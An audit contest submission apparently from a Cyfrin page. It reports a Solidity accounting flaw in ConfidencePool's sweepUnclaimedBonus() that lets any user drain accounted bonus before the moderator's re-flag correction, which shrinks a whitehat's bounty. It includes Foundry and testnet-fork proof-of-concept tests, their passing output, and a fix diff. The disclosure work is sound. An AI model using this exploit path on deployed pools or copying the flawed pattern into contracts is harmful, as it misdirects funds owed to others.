BattleChain Confidence Pools

Cyfrin

FoundrySolidityLayer 2

7.25 ETH

View all submissions

Previous Next

Submission Details

Impact: high

Likelihood: low

Permissionless `sweepUnclaimedBonus()` can reduce a good-faith CORRUPTED bounty before re-flag correction

Author Revealed upon completion

Root Cause and Impact

The root cause is that sweepUnclaimedBonus() in ConfidencePool.sol can move accounted bonus funds to recoveryAddress when riskWindowStart == 0, but it does not set claimsStarted.

This leaves the flagOutcome() correction window open at the state-machine level. However, if the moderator later corrects the outcome from SURVIVED to good-faith CORRUPTED, the new snapshot is taken after the bonus has already left the pool. As a result, the named whitehat receives only principal instead of the full pool amount that originally included both stake and bonus.

This report does not challenge the documented no-observed-risk bonus sweep in isolation. The issue is the interaction between that sweep and the documented pre-claim re-flag correction window: accounted bonus is moved out before correction, while claimsStarted remains false, so a later good-faith CORRUPTED correction is economically underfunded.

Description

The intended behavior is that the moderator may correct a mistaken outcome before the first value movement that relies on that outcome. The documentation describes claimsStarted as a value-movement finality latch, and good-faith CORRUPTED as reserving snapshotTotalStaked + snapshotTotalBonus for the named attacker.

The issue is that sweepUnclaimedBonus() performs an actual value transfer to recoveryAddress without closing the correction window. A later flagOutcome() correction re-snapshots totalBonus after it has been reduced to zero, lowering bountyEntitlement.

// src/ConfidencePool.sol#L322-L328

function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {

// Re-flag allowed pre-claim so the moderator can fix a typo'd outcome / attacker before

// any participant locks in the wrong distribution. The window closing on the FIRST claim

// (`claimsStarted`) is by design — a value-movement finality latch, not a front-runnable

// moderator privilege. See docs/DESIGN.md (re-flag window).

@> if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();

IAttackRegistry.ContractState state = _observePoolState();

// src/ConfidencePool.sol#L354-L362

outcome = newOutcome;

goodFaith = goodFaith_;

attacker = attacker_;

@> snapshotTotalStaked = totalEligibleStake;

@> snapshotTotalBonus = totalBonus;

snapshotSumStakeTime = sumStakeTime;

snapshotSumStakeTimeSq = sumStakeTimeSq;

corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;

@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;

// src/ConfidencePool.sol#L474-L509

function sweepUnclaimedBonus() external nonReentrant {

if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {

revert OutcomeNotEligibleForSweep();

}

// Reserve principal still owed to non-claimers plus any bonus they're entitled to. When

// `riskWindowStart == 0` (no observable risk), `_bonusShare` returns 0 for everyone, so

// the bonus is not owed to any staker and the entire snapshotTotalBonus is sweepable.

uint256 reserved;

if (totalEligibleStake != 0) {

reserved = totalEligibleStake;

if (riskWindowStart != 0) {

reserved += snapshotTotalBonus - claimedBonus;

}

// aderyn-fp-next-line(reentrancy-state-change)

uint256 freeBalance = stakeToken.balanceOf(address(this));

uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;

if (amount == 0) revert NothingToSweep();

// Bonus is only unreserved when no staker is owed it (no risk window, or no stakers left).

// In that case the sweep removes it from the pool, so drop it from the live `totalBonus`

// too — keeping the accounting honest for any later re-snapshot. Clamp to `totalBonus` so

// swept donations/dust (never counted in it) can't over-decrement or underflow.

@> if (totalEligibleStake == 0 || riskWindowStart == 0) {

@> totalBonus -= amount <= totalBonus ? amount : totalBonus;

}

// Intentionally does NOT set claimsStarted. A direct-transfer donation of as little as 1

// wei would otherwise let anyone flip the flag post-flagOutcome and block the moderator's

// documented pre-claim re-flag window. Genuine reliance only comes from claim entrypoints.

@> stakeToken.safeTransfer(recoveryAddress, amount);

emit BonusSwept(msg.sender, recoveryAddress, amount);

}

Risk

Likelihood

This occurs when the registry is CORRUPTED without any active-risk observation by the pool, and the moderator initially flags SURVIVED, for example because the breach was believed to be out-of-scope or because the first outcome requires correction. Before the moderator corrects the result to good-faith CORRUPTED, any regular user can call sweepUnclaimedBonus().

The value-moving attacker step is permissionless. The caller needs no special role and only calls sweepUnclaimedBonus(). This scenario does not rely on a malicious admin. It relies on the intended correction window existing after an incorrect first flag, which is exactly what the re-flag mechanism is designed to support.

Impact

The accounted bonus is transferred to recoveryAddress before the correction. The whitehat then receives only snapshotTotalStaked instead of snapshotTotalStaked + snapshotTotalBonus, causing a direct shortfall in the good-faith bounty and a corresponding gain to recoveryAddress.

In the PoC:

stake = 100e18
bonus = 50e18
expected bounty after good-faith CORRUPTED = 150e18
actual bounty after sweep then re-flag = 100e18

Broken Invariant

The broken invariant is that any outcome-based value movement must either close or be blocked during the re-flag correction window. This follows from the documentation describing claimsStarted as a value-movement finality latch. Good-faith CORRUPTED also promises that the full pool is reserved for the named whitehat during CORRUPTED_CLAIM_WINDOW.

The correction remains possible at the state-machine level, but it can no longer satisfy the correct economic distribution because part of the accounted value has already left the pool.

Proof of Concept

Vulnerability Path

A staker deposits 100e18.
A contributor adds 50e18 as bonus.
The registry becomes CORRUPTED without active-risk observation, so riskWindowStart == 0.
The moderator initially flags SURVIVED.
A regular user calls sweepUnclaimedBonus(), transferring 50e18 to recoveryAddress; totalBonus becomes zero, but claimsStarted remains false.
The moderator corrects the outcome to good-faith CORRUPTED.
bountyEntitlement becomes only 100e18, and the whitehat cannot recover the previously swept 50e18.

// File: test/audit/M01_BonusSweepReflagWindow.t.sol

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";

import {PoolStates} from "src/libraries/PoolStates.sol";

import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";

import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";

contract M01BonusSweepReflagWindowTest is BaseConfidencePoolTest {

/// @dev A permissionless sweep can move the accounted bonus before the moderator corrects

/// SURVIVED to good-faith CORRUPTED. The later bounty snapshot excludes the swept bonus.

function testBonusSweepBeforeReflagReducesGoodFaithBounty() external {

_stake(alice, 100 * ONE);

_contributeBonus(carol, 50 * ONE);

attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);

vm.prank(moderator);

pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

assertEq(pool.riskWindowStart(), 0, "no active-risk observation");

assertEq(pool.snapshotTotalBonus(), 50 * ONE, "initial survived snapshot includes bonus");

uint256 recoveryBefore = token.balanceOf(recovery);

vm.prank(dave);

pool.sweepUnclaimedBonus();

assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "accounted bonus moved to recovery");

assertEq(pool.totalBonus(), 0, "sweep removed accounted bonus before correction");

assertFalse(pool.claimsStarted(), "sweep did not close the correction window");

vm.prank(moderator);

pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);

assertEq(pool.snapshotTotalStaked(), 100 * ONE, "principal remains in the corrected snapshot");

assertEq(pool.snapshotTotalBonus(), 0, "corrected snapshot excludes the swept bonus");

assertEq(pool.bountyEntitlement(), 100 * ONE, "whitehat bounty lost the 50 bonus");

uint256 attackerBefore = token.balanceOf(attacker);

vm.prank(attacker);

pool.claimAttackerBounty();

assertEq(token.balanceOf(attacker) - attackerBefore, 100 * ONE, "attacker receives principal only");

assertEq(token.balanceOf(address(pool)), 0, "pool is empty after reduced bounty claim");

}

Test Result

forge test --match-path test/audit/M01_BonusSweepReflagWindow.t.sol -vv

Ran 1 test for test/audit/M01_BonusSweepReflagWindow.t.sol:M01BonusSweepReflagWindowTest

[PASS] testBonusSweepBeforeReflagReducesGoodFaithBounty() (gas: 599245)

Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

Do not allow sweepUnclaimedBonus() to move accounted bonus during an open re-flag window without closing that window. The fix should distinguish between:

post-resolution donations or dust that were never counted in totalBonus, which can remain non-finalizing;
accounted bonus that affects a later re-snapshot, which should either close the correction window or be blocked until the outcome is finalized.

One conservative fix is:

function sweepUnclaimedBonus() external nonReentrant {

if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {

revert OutcomeNotEligibleForSweep();

}

uint256 reserved;

if (totalEligibleStake != 0) {

reserved = totalEligibleStake;

if (riskWindowStart != 0) {

reserved += snapshotTotalBonus - claimedBonus;

}

uint256 freeBalance = stakeToken.balanceOf(address(this));

uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;

if (amount == 0) revert NothingToSweep();

- if (totalEligibleStake == 0 || riskWindowStart == 0) {

- totalBonus -= amount <= totalBonus ? amount : totalBonus;

+ uint256 accountedBonusSwept;

+ if (totalEligibleStake == 0 || riskWindowStart == 0) {

+ accountedBonusSwept = amount <= totalBonus ? amount : totalBonus;

+ totalBonus -= accountedBonusSwept;

}

- // Intentionally does NOT set claimsStarted. A direct-transfer donation of as little as 1

- // wei would otherwise let anyone flip the flag post-flagOutcome and block the moderator's

- // documented pre-claim re-flag window. Genuine reliance only comes from claim entrypoints.

+ // Sweeping accounted bonus is value movement that affects later re-snapshots.

+ // Pure donations/dust can remain non-finalizing.

+ if (accountedBonusSwept != 0 && !claimsStarted) claimsStarted = true;

stakeToken.safeTransfer(recoveryAddress, amount);

emit BonusSwept(msg.sender, recoveryAddress, amount);

}

An even more conservative alternative is to block sweeping accounted bonus while the outcome was set by the moderator and claimsStarted == false, allowing only excess donations to be recovered until a real claim occurs or the outcome is otherwise finalized.

Fork Validation

The same bug was also reproduced on a BattleChain testnet fork in test/fork/BonusSweepReflagWindow.fork.t.sol.

The fork test uses the live BattleChain Safe Harbor registry and attack registry to create and move a real forked agreement through the registry states. The privileged registry calls in the setup are only used to place the forked agreement into the required CORRUPTED state without the pool observing active risk. The attacker action remains permissionless and is only:

vm.prank(regularUser);

pool.sweepUnclaimedBonus();

After that permissionless call, the fork PoC confirms the same accounting result:

recoveryAddress receives the accounted 50e18 bonus.
claimsStarted remains false.
the later good-faith CORRUPTED snapshot has snapshotTotalBonus == 0.
the whitehat receives only 100e18 instead of 150e18.

Full Fork Test Code

// File : test/fork/BonusSweepReflagWindow.fork.t.sol

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";

import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

import {ConfidencePool} from "src/ConfidencePool.sol";

import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";

import {PoolStates} from "src/libraries/PoolStates.sol";

import {MockERC20} from "test/mocks/MockERC20.sol";

import {IAgreement} from "@battlechain/interface/IAgreement.sol";

import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";

import {IBattleChainSafeHarborRegistry} from "@battlechain/interface/IBattleChainSafeHarborRegistry.sol";

import {

Account as BcAccount,

AgreementDetails,

BountyTerms,

Chain as BcChain,

ChildContractScope,

Contact,

IdentityRequirements

} from "@battlechain/types/AgreementTypes.sol";

interface ILiveAgreementFactory {

function create(AgreementDetails memory details, address owner, bytes32 salt) external returns (address);

}

contract BonusSweepReflagWindowForkTest is Test {

address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;

address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;

address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;

address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;

address internal constant COVERED_CONTRACT = 0x0000000000000000000000000000000000001234;

uint256 internal constant PIN_BLOCK = 16_000;

uint256 internal constant ONE = 1e18;

MockERC20 internal token;

ConfidencePoolFactory internal factory;

ConfidencePool internal pool;

address internal liveAgreement;

address internal sponsor = makeAddr("sponsor");

address internal poolModerator = makeAddr("poolModerator");

address internal recovery = makeAddr("recovery");

address internal staker = makeAddr("staker");

address internal bonusContributor = makeAddr("bonusContributor");

address internal regularUser = makeAddr("regularUser");

address internal whitehat = makeAddr("whitehat");

/// @dev Forks BattleChain testnet and deploys only the Confidence Pool layer plus a standard ERC20 stake token.

function setUp() public {

try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory) {

vm.createSelectFork("battlechain_testnet", PIN_BLOCK);

} catch {

vm.skip(true);

return;

}

token = new MockERC20();

ConfidencePool poolImpl = new ConfidencePool();

ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();

ERC1967Proxy proxy = new ERC1967Proxy(

address(factoryImpl),

abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), poolModerator))

);

factory = ConfidencePoolFactory(address(proxy));

factory.setStakeTokenAllowed(address(token), true);

liveAgreement = _createLiveAgreement();

_createPoolAgainstLiveAgreement();

}

/// @dev Demonstrates that a regular user can sweep accounted bonus before a moderator re-flag correction.

function testFork_bonusSweepBeforeReflagReducesGoodFaithBounty() external {

_stake(staker, 100 * ONE);

_contributeBonus(bonusContributor, 50 * ONE);

_moveLiveAgreementToCorruptedWithoutPoolObservation();

assertEq(uint256(IAttackRegistry(ATTACK_REGISTRY).getAgreementState(liveAgreement)), 6, "agreement corrupted");

assertEq(pool.riskWindowStart(), 0, "pool did not observe active risk");

vm.prank(poolModerator);

pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

assertEq(pool.snapshotTotalBonus(), 50 * ONE, "survived snapshot includes accounted bonus");

uint256 recoveryBefore = token.balanceOf(recovery);

vm.prank(regularUser);

pool.sweepUnclaimedBonus();

assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "regular user moved bonus to recovery");

assertEq(pool.totalBonus(), 0, "accounted bonus removed before correction");

assertFalse(pool.claimsStarted(), "correction window remains open");

vm.prank(poolModerator);

pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);

assertEq(pool.snapshotTotalStaked(), 100 * ONE, "principal remains snapshotted");

assertEq(pool.snapshotTotalBonus(), 0, "corrected snapshot excludes swept bonus");

assertEq(pool.bountyEntitlement(), 100 * ONE, "whitehat entitlement lost the bonus");

uint256 whitehatBefore = token.balanceOf(whitehat);

vm.prank(whitehat);

pool.claimAttackerBounty();

assertEq(token.balanceOf(whitehat) - whitehatBefore, 100 * ONE, "whitehat receives principal only");

assertEq(token.balanceOf(address(pool)), 0, "pool is empty after reduced bounty");

}

/// @dev Creates a real BattleChain Safe Harbor agreement through the deployed testnet factory.

function _createLiveAgreement() internal returns (address agreement) {

AgreementDetails memory details;

details.protocolName = "Confidence Pool Fork PoC";

details.agreementURI = "ipfs://confidence-pool-fork-poc";

details.contactDetails = new Contact[](1);

details.contactDetails[0] = Contact({name: "security", contact: "security@example.com"});

details.chains = new BcChain[](1);

details.chains[0].caip2ChainId = "eip155:627";

details.chains[0].assetRecoveryAddress = "0x000000000000000000000000000000000000BEEF";

details.chains[0].accounts = new BcAccount[](1);

details.chains[0].accounts[0] =

BcAccount({

accountAddress: "0x0000000000000000000000000000000000001234",

childContractScope: ChildContractScope.All

});

details.bountyTerms = BountyTerms({

bountyPercentage: 10,

bountyCapUsd: 1_000_000,

retainable: false,

identity: IdentityRequirements.Anonymous,

diligenceRequirements: "none",

aggregateBountyCapUsd: 0

});

vm.prank(sponsor);

agreement = ILiveAgreementFactory(AGREEMENT_FACTORY).create(details, sponsor, keccak256("confidence-pool-poc"));

vm.prank(sponsor);

IAgreement(agreement).extendCommitmentWindow(block.timestamp + 8 days);

}

/// @dev Creates the vulnerable project pool against the live agreement while the registry still reports NOT_DEPLOYED.

function _createPoolAgainstLiveAgreement() internal {

address[] memory accounts = new address[](1);

accounts[0] = COVERED_CONTRACT;

vm.prank(sponsor);

address poolAddress =

factory.createPool(liveAgreement, address(token), block.timestamp + 31 days, ONE, recovery, accounts);

pool = ConfidencePool(poolAddress);

}

/// @dev Moves the live agreement to CORRUPTED without calling the pool, preserving riskWindowStart == 0.

function _moveLiveAgreementToCorruptedWithoutPoolObservation() internal {

vm.prank(sponsor);

IAttackRegistry(ATTACK_REGISTRY).requestUnderAttackForUnverifiedContracts(liveAgreement);

vm.prank(REGISTRY_MODERATOR);

IAttackRegistry(ATTACK_REGISTRY).approveAttack(liveAgreement);

vm.prank(sponsor);

IAttackRegistry(ATTACK_REGISTRY).markCorrupted(liveAgreement);

}

/// @dev Stakes into the fork-deployed pool before any risk-window observation.

function _stake(address user, uint256 amount) internal {

token.mint(user, amount);

vm.startPrank(user);

token.approve(address(pool), amount);

pool.stake(amount);

vm.stopPrank();

}

/// @dev Adds accounted bonus to the fork-deployed pool before any risk-window observation.

function _contributeBonus(address user, uint256 amount) internal {

token.mint(user, amount);

vm.startPrank(user);

token.approve(address(pool), amount);

pool.contributeBonus(amount);

vm.stopPrank();

}

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com \

forge test --match-path test/fork/BonusSweepReflagWindow.fork.t.sol -vvv

Ran 1 test for test/fork/BonusSweepReflagWindow.fork.t.sol:BonusSweepReflagWindowForkTest

[PASS] testFork_bonusSweepBeforeReflagReducesGoodFaithBounty() (gas: 755342)

Suite result: ok. 1 passed; 0 failed; 0 skipped

Reference

ConfidencePool.sol#L322-L328

ConfidencePool.sol#L354-L362

ConfidencePool.sol#L474-L509

Prize pool breakdown

Total prize

7.25 ETH

nSLOC

589

0 ETH / LOC

High Medium

Low

1.25

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!